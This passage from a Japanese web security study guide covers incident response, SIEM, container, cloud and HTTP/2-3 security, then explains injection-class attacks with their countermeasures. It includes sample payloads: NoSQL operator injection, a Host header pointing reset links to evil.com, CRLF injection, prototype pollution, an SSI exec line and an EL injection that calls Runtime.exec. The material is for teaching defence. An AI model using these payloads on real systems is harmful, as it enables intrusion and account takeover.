&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;根絶（Eradication）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;マルウェアの削除&lt;/li&gt;
&lt;li&gt;脆弱性の修正&lt;/li&gt;
&lt;li&gt;バックドアの除去&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;回復（Recovery）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;システムの復旧&lt;/li&gt;
&lt;li&gt;正常な動作の確認&lt;/li&gt;
&lt;li&gt;監視の強化&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;事後対応（Post-Incident）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;インシデントレポートの作成&lt;/li&gt;
&lt;li&gt;再発防止策の策定&lt;/li&gt;
&lt;li&gt;教訓の共有&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;ログの重要性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アクセスログ&lt;/strong&gt;: 誰がいつアクセスしたか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証ログ&lt;/strong&gt;: ログイン試行、失敗記録&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アプリケーションログ&lt;/strong&gt;: エラー、重要な操作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティログ&lt;/strong&gt;: セキュリティ関連のイベント&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;セキュリティ監視とSIEM&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;セキュリティ情報イベント管理（SIEM）システムを使用した継続的な監視です。&lt;/p&gt;
&lt;h4&gt;監視すべき項目&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;認証関連&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;失敗したログイン試行&lt;/li&gt;
&lt;li&gt;異常な時間帯のログイン&lt;/li&gt;
&lt;li&gt;異なる場所からの同時ログイン&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アクセスパターン&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;異常なアクセスパターン&lt;/li&gt;
&lt;li&gt;大量のリクエスト&lt;/li&gt;
&lt;li&gt;通常と異なるエンドポイントへのアクセス&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;データアクセス&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;大量のデータ取得&lt;/li&gt;
&lt;li&gt;機密情報へのアクセス&lt;/li&gt;
&lt;li&gt;異常なデータ操作&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;システムリソース&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;CPU、メモリの異常な使用&lt;/li&gt;
&lt;li&gt;ディスクI/Oの増加&lt;/li&gt;
&lt;li&gt;ネットワークトラフィックの異常&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;SIEMの機能&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ログの集約&lt;/strong&gt;: 複数のソースからのログを集約&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相関分析&lt;/strong&gt;: 複数のイベントを関連付けて分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アラート生成&lt;/strong&gt;: 異常な活動を検知してアラートを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レポート作成&lt;/strong&gt;: セキュリティ状況のレポート作成&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;コンテナセキュリティ&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Docker、Kubernetesなどのコンテナ環境におけるセキュリティです。&lt;/p&gt;
&lt;h4&gt;主な脆弱性&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテナイメージの脆弱性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;古いベースイメージの使用&lt;/li&gt;
&lt;li&gt;脆弱なライブラリの含まれるイメージ&lt;/li&gt;
&lt;li&gt;機密情報がイメージに含まれる&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテナランタイムの設定不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;過剰な権限での実行&lt;/li&gt;
&lt;li&gt;ホストファイルシステムへのアクセス&lt;/li&gt;
&lt;li&gt;ネットワーク設定の不備&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;オーケストレーションの設定不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;サービス間通信の暗号化不足&lt;/li&gt;
&lt;li&gt;認証・認可の不備&lt;/li&gt;
&lt;li&gt;ネットワークポリシーの不備&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;イメージのスキャン&lt;/strong&gt;: 脆弱性スキャンツールの使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;: 必要最小限の権限で実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シークレット管理&lt;/strong&gt;: 機密情報を環境変数やシークレット管理サービスで管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワークポリシー&lt;/strong&gt;: コンテナ間通信を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ランタイム保護&lt;/strong&gt;: コンテナランタイムの監視と保護&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;クラウドセキュリティの設定ミス&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;クラウドサービス（AWS、Azure、GCPなど）の設定ミスによるセキュリティリスクです。&lt;/p&gt;
&lt;h4&gt;主な設定ミス&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ストレージの公開&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;S3バケット、Azure Blob Storageが公開&lt;/li&gt;
&lt;li&gt;認証なしでアクセス可能&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IAM（Identity and Access Management）の不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;過剰な権限の付与&lt;/li&gt;
&lt;li&gt;パブリックアクセスの許可&lt;/li&gt;
&lt;li&gt;古いアクセスキーの残存&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク設定の不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;セキュリティグループの設定ミス&lt;/li&gt;
&lt;li&gt;不必要なポートの開放&lt;/li&gt;
&lt;li&gt;パブリックIPアドレスの不適切な使用&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;暗号化の不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;暗号化されていないデータ転送&lt;/li&gt;
&lt;li&gt;暗号化されていないデータ保存&lt;/li&gt;
&lt;li&gt;弱い暗号化アルゴリズムの使用&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;クラウドセキュリティポスチャ管理（CSPM）&lt;/strong&gt;: 設定ミスを自動検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;: 必要最小限の権限のみ付与&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的な監査&lt;/strong&gt;: 設定の定期的な見直し&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暗号化の徹底&lt;/strong&gt;: すべてのデータを暗号化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アクセスログの監視&lt;/strong&gt;: 異常なアクセスの検知&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;HTTP/2、HTTP/3のセキュリティ考慮事項&lt;/h3&gt;
&lt;h4&gt;HTTP/2のセキュリティ&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ヘッダー圧縮（HPACK）の脆弱性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRIME攻撃&lt;/strong&gt;: 圧縮を利用した情報漏洩&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 機密情報をヘッダーに含めない&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ストリームの優先順位&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;DoS攻撃に利用される可能性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: ストリーム数の制限&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;HTTP/3のセキュリティ&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;QUICプロトコルの特性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;UDPベースのため、従来のファイアウォールで検知が困難&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: QUIC対応のセキュリティツールの使用&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;接続の移行&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;接続ハイジャックのリスク&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 適切な認証と検証&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;モバイルWebアプリケーションのセキュリティ&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;モバイルデバイスでアクセスされるWebアプリケーションのセキュリティです。&lt;/p&gt;
&lt;h4&gt;主な考慮事項&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;タッチジェスチャーの悪用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;画面タップの順序を記録&lt;/li&gt;
&lt;li&gt;パターンロックの推測&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;モバイルブラウザの特性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;キャッシュの動作&lt;/li&gt;
&lt;li&gt;オートフィルの動作&lt;/li&gt;
&lt;li&gt;位置情報の取得&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ハイブリッドアプリ（PWA）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ネイティブ機能へのアクセス&lt;/li&gt;
&lt;li&gt;オフライン機能&lt;/li&gt;
&lt;li&gt;プッシュ通知&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モバイル向けのセキュリティヘッダー&lt;/strong&gt;: CSPの適切な設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;タッチ入力の保護&lt;/strong&gt;: 機密情報入力時の画面録画防止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;位置情報の適切な管理&lt;/strong&gt;: 必要最小限の位置情報のみ取得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オフラインデータの暗号化&lt;/strong&gt;: ローカルストレージの暗号化&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;ゼロデイ脆弱性への対応&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;公開されていない、またはパッチが提供されていない脆弱性です。&lt;/p&gt;
&lt;h4&gt;対応策&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;多層防御&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;単一の対策に依存しない&lt;/li&gt;
&lt;li&gt;複数の防御層を実装&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;侵入検知システム（IDS/IPS）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;異常な行動パターンの検知&lt;/li&gt;
&lt;li&gt;自動的なブロック&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;サンドボックス&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;疑わしいコードの隔離実行&lt;/li&gt;
&lt;li&gt;リソースアクセスの制限&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ホワイトリスト方式&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;許可された操作のみ実行&lt;/li&gt;
&lt;li&gt;未知の動作をブロック&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セキュリティパッチの迅速な適用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;脆弱性公開後の迅速な対応&lt;/li&gt;
&lt;li&gt;パッチ適用プロセスの確立&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;セキュリティテストの手法（詳細）&lt;/h3&gt;
&lt;h4&gt;ファジング（Fuzzing）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: ランダムまたは半ランダムな入力を生成して、アプリケーションの動作をテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;種類&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ブラックボックスファジzing&lt;/strong&gt;: 実装を知らずにテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ホワイトボックスファジzing&lt;/strong&gt;: 実装を知ってテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;グレーボックスファジzing&lt;/strong&gt;: 一部の情報を知ってテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツール&lt;/strong&gt;: AFL、libFuzzer、American Fuzzy Lop&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;ペネトレーションテスト&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 実際の攻撃をシミュレートして脆弱性を発見&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;種類&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外部テスト&lt;/strong&gt;: インターネットからアクセス可能なシステムをテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内部テスト&lt;/strong&gt;: 内部ネットワークからテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ブラインドテスト&lt;/strong&gt;: テスト対象の情報を最小限に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロセス&lt;/strong&gt;: 情報収集、脆弱性スキャン、エクスプロイト、レポート作成&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;バグバウンティプログラム&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 外部のセキュリティ研究者に脆弱性の発見を依頼し、報酬を支払う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;幅広い専門知識の活用&lt;/li&gt;
&lt;li&gt;継続的なセキュリティテスト&lt;/li&gt;
&lt;li&gt;コスト効率の良い脆弱性発見&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;ルールの明確化&lt;/li&gt;
&lt;li&gt;報酬の設定&lt;/li&gt;
&lt;li&gt;レスポンス時間の設定&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;マイナーな脆弱性と攻撃手法&lt;/h2&gt;
&lt;h3&gt;HTTP Request Smuggling（HTTPリクエストスミューグリング）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★（上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;HTTPリクエストの境界を誤解させることで、フロントエンドとバックエンドのサーバー間でリクエストの解釈を異ならせ、攻撃者のリクエストを別のユーザーのリクエストに埋め込む攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CL.TE（Content-Length / Transfer-Encoding）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;フロントエンド: Content-Lengthを優先&lt;/li&gt;
&lt;li&gt;バックエンド: Transfer-Encodingを優先&lt;/li&gt;
&lt;li&gt;結果: リクエストの境界がずれる&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TE.CL（Transfer-Encoding / Content-Length）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;フロントエンド: Transfer-Encodingを優先&lt;/li&gt;
&lt;li&gt;バックエンド: Content-Lengthを優先&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TE.TE（Transfer-Encoding / Transfer-Encoding）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;両方のサーバーでTransfer-Encodingを処理するが、解釈が異なる&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;認証バイパス&lt;/strong&gt;: 他のユーザーのリクエストに攻撃者のリクエストを埋め込む&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Cache Poisoning&lt;/strong&gt;: キャッシュに悪意のあるコンテンツを保存&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セッションハイジャック&lt;/strong&gt;: 他のユーザーのセッションを乗っ取る&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リクエストの正規化&lt;/strong&gt;: フロントエンドとバックエンドで同じHTTPパーサーを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transfer-Encodingの無効化&lt;/strong&gt;: プロキシでTransfer-Encodingを削除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リクエストの検証&lt;/strong&gt;: 不正なリクエストを拒否&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;HTTP Desync Attacks（HTTPデシンク攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★（上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;HTTPリクエストの境界を誤解させることで、複数のリクエストを1つのリクエストとして処理させたり、1つのリクエストを複数に分割させたりする攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CL.0（Content-Length: 0）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Content-Length: 0を設定し、実際のボディを別のリクエストとして処理&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;H2C Smuggling&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;HTTP/2からHTTP/1.1への変換時に境界がずれる&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;HTTP/2の適切な処理&lt;/li&gt;
&lt;li&gt;リクエスト境界の厳密な検証&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;NoSQL Injection（NoSQLインジェクション）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;NoSQLデータベース（MongoDB、CouchDBなど）に対するインジェクション攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;// MongoDBの例
// 通常のクエリ
db.users.find({username: "admin", password: "password"})

// インジェクション攻撃
// 入力: {"$ne": null}
// 生成されるクエリ
db.users.find({username: "admin", password: {"$ne": null}})
// 結果: パスワードがnullでないすべてのユーザーが取得される&lt;/pre&gt;
&lt;h4&gt;攻撃例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;$ne（not equal）&lt;/strong&gt;: {"$ne": null} で条件を回避&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$gt（greater than）&lt;/strong&gt;: {"$gt": ""} で条件を回避&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$regex&lt;/strong&gt;: 正規表現による条件操作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript実行&lt;/strong&gt;: $where句でJavaScriptコードを実行&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;入力値の検証&lt;/strong&gt;: オペレーターを許可しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パラメータ化クエリ&lt;/strong&gt;: ORMやODMを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限&lt;/strong&gt;: データベースユーザーに最小権限のみ付与&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Host Header Injection（ホストヘッダーインジェクション）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★（初級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Hostヘッダーが適切に検証されず、パスワードリセット機能などで使用されるURLに悪意のあるホストが注入される脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;GET /password-reset HTTP/1.1
Host: evil.com

パスワードリセットメール:
http://evil.com/reset?token=xxx&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パスワードリセットトークンの漏洩&lt;/strong&gt;: 攻撃者のサーバーにトークンが送信される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;キャッシュポイズニング&lt;/strong&gt;: 悪意のあるホストでコンテンツをキャッシュ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Cache Poisoning&lt;/strong&gt;: キャッシュキーの操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hostヘッダーの検証&lt;/strong&gt;: 許可されたホストのみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;絶対URLの使用&lt;/strong&gt;: リダイレクトやメールで絶対URLを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Forwarded-Hostの適切な処理&lt;/strong&gt;: リバースプロキシを使用する場合&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;CRLF Injection（CRLFインジェクション）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★（初級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;HTTPヘッダーやログに改行文字（CRLF: \r\n）を注入することで、HTTPレスポンスの分割やヘッダーの追加を行う攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;入力: "test\r\nLocation: http://evil.com"
生成されるHTTPレスポンス:
HTTP/1.1 200 OK
Set-Cookie: test
Location: http://evil.com&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTPレスポンス分割&lt;/strong&gt;: 任意のHTTPレスポンスを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログインジェクション&lt;/strong&gt;: ログファイルへの悪意のある内容の注入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTPヘッダーインジェクション&lt;/strong&gt;: 任意のヘッダーの追加&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;改行文字の除去&lt;/strong&gt;: \r、\nを除去またはエスケープ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力値の検証&lt;/strong&gt;: 許可された文字のみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エンコーディング&lt;/strong&gt;: URLエンコーディングの適切な処理&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Prototype Pollution（プロトタイプ汚染）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;JavaScriptのObject.prototypeを汚染することで、アプリケーション全体に影響を与える攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;// 脆弱なコード
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key];
    }
    return target;
}

// 攻撃入力
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);

// 結果: すべてのオブジェクトにisAdminプロパティが追加される
const user = {};
console.log(user.isAdmin); // true&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;認証バイパス&lt;/strong&gt;: すべてのオブジェクトにisAdminなどのプロパティを追加&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DoS攻撃&lt;/strong&gt;: プロトタイプチェーンを汚染してアプリケーションをクラッシュ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リモートコード実行&lt;/strong&gt;: 特定の条件下でコード実行が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Object.create(null)&lt;/strong&gt;: プロトタイプを持たないオブジェクトを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;hasOwnPropertyの使用&lt;/strong&gt;: プロトタイプのプロパティを除外&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Object.freeze&lt;/strong&gt;: Object.prototypeを凍結&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JSON.parseの安全な使用&lt;/strong&gt;: __proto__を許可しない&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Server-Side Includes（SSI）Injection&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 低&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Server-Side Includes（SSI）が有効なサーバーで、悪意のあるSSIコマンドが実行される脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;&amp;lt;!-- 入力 --&amp;gt;
&amp;lt;!--#exec cmd="ls" --&amp;gt;

&amp;lt;!-- 実行されるコマンド --&amp;gt;
ls&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コマンド実行&lt;/strong&gt;: サーバー側でコマンドが実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイル読み取り&lt;/strong&gt;: サーバー上のファイルを読み取る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報漏洩&lt;/strong&gt;: サーバー情報の漏洩&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSIの無効化&lt;/strong&gt;: 不要な場合はSSIを無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力値の検証&lt;/strong&gt;: SSIタグを許可しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限&lt;/strong&gt;: Webサーバーに最小権限のみ付与&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Expression Language（EL）Injection&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 低&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Java EEのExpression Language（EL）に悪意のある式が注入される脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;// 脆弱なコード
${pageContext.request.getParameter("input")}

// 攻撃入力
${pageContext.servletContext.classLoader.getResource("")}

// リモートコード実行
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('calc')")}&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
